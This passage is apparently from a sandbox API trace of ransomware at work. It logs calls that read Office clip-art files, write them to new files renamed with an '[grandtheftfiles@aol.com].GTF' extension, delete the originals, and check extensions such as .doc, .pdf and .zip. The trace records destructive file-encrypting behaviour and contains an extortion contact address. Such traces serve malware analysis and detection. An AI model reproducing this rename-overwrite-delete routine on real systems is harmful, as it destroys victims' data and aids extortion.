	[0170.441] lstrlenW (lpString="J0107482.WMF") returned 12
	[0170.442] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107482.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107482.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x570
	[0170.443] GetFileSizeEx (in: hFile=0x570, lpFileSize=0x34cff14 | out: lpFileSize=0x34cff14*=4980) returned 1
	[0170.443] CloseHandle (hObject=0x570) returned 1
	[0170.443] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107482.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107482.wmf")) returned 0x220
	[0170.443] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107482.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107482.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0170.443] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107482.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107482.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x570
	[0170.443] SetFilePointerEx (in: hFile=0x570, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0170.443] SetFilePointerEx (in: hFile=0x570, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0170.443] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107482.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107482.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x528
	[0170.444] GetLastError () returned 0x0
	[0170.444] ReadFile (in: hFile=0x570, lpBuffer=0x3ee0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34cfecc, lpOverlapped=0x0 | out: lpBuffer=0x3ee0020*, lpNumberOfBytesRead=0x34cfecc*=0x1374, lpOverlapped=0x0) returned 1
	[0170.478] WriteFile (in: hFile=0x528, lpBuffer=0x3ee0020*, nNumberOfBytesToWrite=0x1380, lpNumberOfBytesWritten=0x34cfc94, lpOverlapped=0x0 | out: lpBuffer=0x3ee0020*, lpNumberOfBytesWritten=0x34cfc94*=0x1380, lpOverlapped=0x0) returned 1
	[0170.483] ReadFile (in: hFile=0x570, lpBuffer=0x3ee0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34cfecc, lpOverlapped=0x0 | out: lpBuffer=0x3ee0020*, lpNumberOfBytesRead=0x34cfecc*=0x0, lpOverlapped=0x0) returned 1
	[0170.483] WriteFile (in: hFile=0x528, lpBuffer=0x3ee0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x34cfc94, lpOverlapped=0x0 | out: lpBuffer=0x3ee0020*, lpNumberOfBytesWritten=0x34cfc94*=0xec, lpOverlapped=0x0) returned 1
	[0170.483] SetEndOfFile (hFile=0x528) returned 1
	[0170.483] CloseHandle (hObject=0x528) returned 1
	[0170.483] SetFilePointerEx (in: hFile=0x570, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0170.483] SetEndOfFile (hFile=0x570) returned 1
	[0170.485] CloseHandle (hObject=0x570) returned 1
	[0170.486] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107482.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0170.486] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107482.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107482.wmf")) returned 1
	[0170.487] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107482.WMF") returned 68
	[0170.487] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107482.WMF") returned 68
	[0170.487] lstrlenW (lpString=".doc") returned 4
	[0170.487] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0170.487] lstrlenW (lpString=".docx") returned 5
	[0170.487] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1
	[0170.487] lstrlenW (lpString=".pdf") returned 4
	[0170.487] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0170.487] lstrlenW (lpString=".xls") returned 4
	[0170.487] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0170.487] lstrlenW (lpString=".xlsx") returned 5
	[0170.487] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1
	[0170.487] lstrlenW (lpString=".ppt") returned 4
	[0170.487] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0170.487] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107482.WMF") returned 68
	[0170.487] lstrlenW (lpString=".zip") returned 4
	[0170.487] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0170.487] lstrlenW (lpString=".rar") returned 4
	[0170.487] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0170.573] lstrlenW (lpString=".bz2") returned 4
	[0170.573] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0170.573] lstrlenW (lpString=".7z") returned 3
	[0170.573] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0170.573] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107482.WMF") returned 68
	[0170.573] lstrlenW (lpString=".dbf") returned 4
	[0170.573] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0170.573] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107482.WMF") returned 68
	[0170.573] lstrlenW (lpString=".1cd") returned 4
	[0170.573] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0170.573] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107482.WMF") returned 68
	[0170.573] lstrlenW (lpString=".jpg") returned 4
	[0170.573] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0170.573] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107482.WMF") returned 68
	[0170.573] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107482.WMF") returned 68
	[0170.573] lstrlenW (lpString=".doc") returned 4
	[0170.573] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0170.574] lstrlenW (lpString=".docx") returned 5
	[0170.574] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1
	[0170.574] lstrlenW (lpString=".pdf") returned 4
	[0170.574] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0170.574] lstrlenW (lpString=".xls") returned 4
	[0170.574] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0170.574] lstrlenW (lpString=".xlsx") returned 5
	[0170.574] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1
	[0170.574] lstrlenW (lpString=".ppt") returned 4
	[0170.574] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0170.574] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107482.WMF") returned 68
	[0170.574] lstrlenW (lpString=".zip") returned 4
	[0170.574] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0170.574] lstrlenW (lpString=".rar") returned 4
	[0170.574] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0170.574] lstrlenW (lpString=".bz2") returned 4
	[0170.574] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0170.574] lstrlenW (lpString=".7z") returned 3
	[0170.574] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0170.574] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107482.WMF") returned 68
	[0170.574] lstrlenW (lpString=".dbf") returned 4
	[0170.574] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0170.574] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107482.WMF") returned 68
	[0170.574] lstrlenW (lpString=".1cd") returned 4
	[0170.574] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0170.574] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107482.WMF") returned 68
	[0170.574] lstrlenW (lpString=".jpg") returned 4
	[0170.574] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0170.574] lstrcmpiW (lpString1=".WMF", lpString2=".GTF") returned 1
	[0170.574] lstrlenW (lpString="J0107490.WMF") returned 12
	[0170.574] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107490.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107490.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x570
	[0170.575] GetFileSizeEx (in: hFile=0x570, lpFileSize=0x34cff14 | out: lpFileSize=0x34cff14*=16468) returned 1
	[0170.576] CloseHandle (hObject=0x570) returned 1
	[0170.576] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107490.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107490.wmf")) returned 0x220
	[0170.576] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107490.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107490.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0170.576] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107490.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107490.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x570
	[0170.576] SetFilePointerEx (in: hFile=0x570, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0170.576] SetFilePointerEx (in: hFile=0x570, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0170.576] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107490.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107490.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x528
	[0170.577] GetLastError () returned 0x0
	[0170.577] ReadFile (in: hFile=0x570, lpBuffer=0x3ee0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34cfecc, lpOverlapped=0x0 | out: lpBuffer=0x3ee0020*, lpNumberOfBytesRead=0x34cfecc*=0x4054, lpOverlapped=0x0) returned 1
	[0170.605] WriteFile (in: hFile=0x528, lpBuffer=0x3ee0020*, nNumberOfBytesToWrite=0x4060, lpNumberOfBytesWritten=0x34cfc94, lpOverlapped=0x0 | out: lpBuffer=0x3ee0020*, lpNumberOfBytesWritten=0x34cfc94*=0x4060, lpOverlapped=0x0) returned 1
	[0170.606] ReadFile (in: hFile=0x570, lpBuffer=0x3ee0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34cfecc, lpOverlapped=0x0 | out: lpBuffer=0x3ee0020*, lpNumberOfBytesRead=0x34cfecc*=0x0, lpOverlapped=0x0) returned 1
	[0170.607] WriteFile (in: hFile=0x528, lpBuffer=0x3ee0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x34cfc94, lpOverlapped=0x0 | out: lpBuffer=0x3ee0020*, lpNumberOfBytesWritten=0x34cfc94*=0xec, lpOverlapped=0x0) returned 1
	[0170.607] SetEndOfFile (hFile=0x528) returned 1
	[0170.607] CloseHandle (hObject=0x528) returned 1
	[0170.607] SetFilePointerEx (in: hFile=0x570, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0170.607] SetEndOfFile (hFile=0x570) returned 1
	[0170.609] CloseHandle (hObject=0x570) returned 1
	[0170.610] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107490.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0170.610] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107490.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107490.wmf")) returned 1
	[0170.610] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107490.WMF") returned 68
	[0170.610] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107490.WMF") returned 68
	[0170.610] lstrlenW (lpString=".doc") returned 4
	[0170.610] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0170.611] lstrlenW (lpString=".docx") returned 5
	[0170.611] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1
	[0170.611] lstrlenW (lpString=".pdf") returned 4
	[0170.611] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0170.611] lstrlenW (lpString=".xls") returned 4
	[0170.611] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0170.611] lstrlenW (lpString=".xlsx") returned 5
	[0170.611] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1
	[0170.611] lstrlenW (lpString=".ppt") returned 4
	[0170.611] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0170.611] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107490.WMF") returned 68
	[0170.611] lstrlenW (lpString=".zip") returned 4
	[0170.611] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0170.611] lstrlenW (lpString=".rar") returned 4
	[0170.611] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0170.611] lstrlenW (lpString=".bz2") returned 4
	[0170.611] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0170.611] lstrlenW (lpString=".7z") returned 3
	[0170.611] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0170.611] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107490.WMF") returned 68
	[0170.611] lstrlenW (lpString=".dbf") returned 4
	[0170.611] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0170.611] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107490.WMF") returned 68
	[0170.611] lstrlenW (lpString=".1cd") returned 4
	[0170.611] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0170.611] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107490.WMF") returned 68
	[0170.611] lstrlenW (lpString=".jpg") returned 4
	[0170.611] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0170.611] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107490.WMF") returned 68
	[0170.611] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107490.WMF") returned 68
	[0170.611] lstrlenW (lpString=".doc") returned 4
	[0170.611] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0170.611] lstrlenW (lpString=".docx") returned 5
	[0170.611] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1
	[0170.611] lstrlenW (lpString=".pdf") returned 4
	[0170.612] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0170.612] lstrlenW (lpString=".xls") returned 4
	[0170.612] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0170.612] lstrlenW (lpString=".xlsx") returned 5
	[0170.612] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1
	[0170.612] lstrlenW (lpString=".ppt") returned 4
	[0170.612] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0170.612] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107490.WMF") returned 68
	[0170.612] lstrlenW (lpString=".zip") returned 4
	[0170.612] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0170.612] lstrlenW (lpString=".rar") returned 4
	[0170.612] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0170.612] lstrlenW (lpString=".bz2") returned 4
	[0170.612] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0170.612] lstrlenW (lpString=".7z") returned 3
	[0170.612] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0170.612] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107490.WMF") returned 68
	[0170.612] lstrlenW (lpString=".dbf") returned 4
	[0170.612] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0170.612] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107490.WMF") returned 68
	[0170.612] lstrlenW (lpString=".1cd") returned 4
	[0170.612] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0170.612] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107490.WMF") returned 68
	[0170.612] lstrlenW (lpString=".jpg") returned 4
	[0170.612] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0170.612] lstrcmpiW (lpString1=".WMF", lpString2=".GTF") returned 1
	[0170.612] lstrlenW (lpString="J0107496.WMF") returned 12
	[0170.612] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107496.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107496.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x570
	[0170.613] GetFileSizeEx (in: hFile=0x570, lpFileSize=0x34cff14 | out: lpFileSize=0x34cff14*=8864) returned 1
	[0170.614] CloseHandle (hObject=0x570) returned 1
	[0170.614] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107496.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107496.wmf")) returned 0x220
	[0170.614] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107496.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107496.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0170.614] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107496.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107496.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x570
	[0170.614] SetFilePointerEx (in: hFile=0x570, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0170.614] SetFilePointerEx (in: hFile=0x570, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0170.614] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107496.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107496.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x528
	[0170.615] GetLastError () returned 0x0
	[0170.615] ReadFile (in: hFile=0x570, lpBuffer=0x3ee0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34cfecc, lpOverlapped=0x0 | out: lpBuffer=0x3ee0020*, lpNumberOfBytesRead=0x34cfecc*=0x22a0, lpOverlapped=0x0) returned 1
	[0170.649] WriteFile (in: hFile=0x528, lpBuffer=0x3ee0020*, nNumberOfBytesToWrite=0x22b0, lpNumberOfBytesWritten=0x34cfc94, lpOverlapped=0x0 | out: lpBuffer=0x3ee0020*, lpNumberOfBytesWritten=0x34cfc94*=0x22b0, lpOverlapped=0x0) returned 1
	[0170.650] ReadFile (in: hFile=0x570, lpBuffer=0x3ee0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34cfecc, lpOverlapped=0x0 | out: lpBuffer=0x3ee0020*, lpNumberOfBytesRead=0x34cfecc*=0x0, lpOverlapped=0x0) returned 1
	[0170.650] WriteFile (in: hFile=0x528, lpBuffer=0x3ee0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x34cfc94, lpOverlapped=0x0 | out: lpBuffer=0x3ee0020*, lpNumberOfBytesWritten=0x34cfc94*=0xec, lpOverlapped=0x0) returned 1
	[0170.650] SetEndOfFile (hFile=0x528) returned 1
	[0170.651] CloseHandle (hObject=0x528) returned 1
	[0170.651] SetFilePointerEx (in: hFile=0x570, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0170.651] SetEndOfFile (hFile=0x570) returned 1
	[0170.657] CloseHandle (hObject=0x570) returned 1
	[0170.657] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107496.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0170.676] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107496.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107496.wmf")) returned 1
	[0170.715] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107496.WMF") returned 68
	[0170.715] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107496.WMF") returned 68
	[0170.715] lstrlenW (lpString=".doc") returned 4
	[0170.715] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0170.715] lstrlenW (lpString=".docx") returned 5
	[0170.715] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1
	[0170.715] lstrlenW (lpString=".pdf") returned 4
	[0170.715] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0170.715] lstrlenW (lpString=".xls") returned 4
	[0170.715] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0170.715] lstrlenW (lpString=".xlsx") returned 5
	[0170.715] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1
	[0170.715] lstrlenW (lpString=".ppt") returned 4
	[0170.715] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0170.715] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107496.WMF") returned 68
	[0170.715] lstrlenW (lpString=".zip") returned 4
	[0170.715] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0170.715] lstrlenW (lpString=".rar") returned 4
	[0170.715] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0170.715] lstrlenW (lpString=".bz2") returned 4
	[0170.715] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0170.715] lstrlenW (lpString=".7z") returned 3
	[0170.715] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0170.715] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107496.WMF") returned 68
	[0170.715] lstrlenW (lpString=".dbf") returned 4
	[0170.715] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0170.715] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107496.WMF") returned 68
	[0170.715] lstrlenW (lpString=".1cd") returned 4
	[0170.715] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0170.715] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107496.WMF") returned 68
	[0170.715] lstrlenW (lpString=".jpg") returned 4
	[0170.715] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0170.715] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107496.WMF") returned 68
	[0170.715] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107496.WMF") returned 68
	[0170.715] lstrlenW (lpString=".doc") returned 4
	[0170.716] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0170.716] lstrlenW (lpString=".docx") returned 5
	[0170.716] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1
	[0170.716] lstrlenW (lpString=".pdf") returned 4
	[0170.716] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0170.716] lstrlenW (lpString=".xls") returned 4
	[0170.716] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0170.716] lstrlenW (lpString=".xlsx") returned 5
	[0170.716] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1
	[0170.716] lstrlenW (lpString=".ppt") returned 4
	[0170.716] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0170.716] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107496.WMF") returned 68
	[0170.716] lstrlenW (lpString=".zip") returned 4
	[0170.716] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0170.716] lstrlenW (lpString=".rar") returned 4
	[0170.716] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0170.716] lstrlenW (lpString=".bz2") returned 4
	[0170.716] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0170.716] lstrlenW (lpString=".7z") returned 3
	[0170.716] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0170.716] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107496.WMF") returned 68
	[0170.716] lstrlenW (lpString=".dbf") returned 4
	[0170.716] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0170.716] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107496.WMF") returned 68
	[0170.716] lstrlenW (lpString=".1cd") returned 4
	[0170.716] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0170.716] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107496.WMF") returned 68
	[0170.716] lstrlenW (lpString=".jpg") returned 4
	[0170.716] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0170.716] lstrcmpiW (lpString1=".WMF", lpString2=".GTF") returned 1
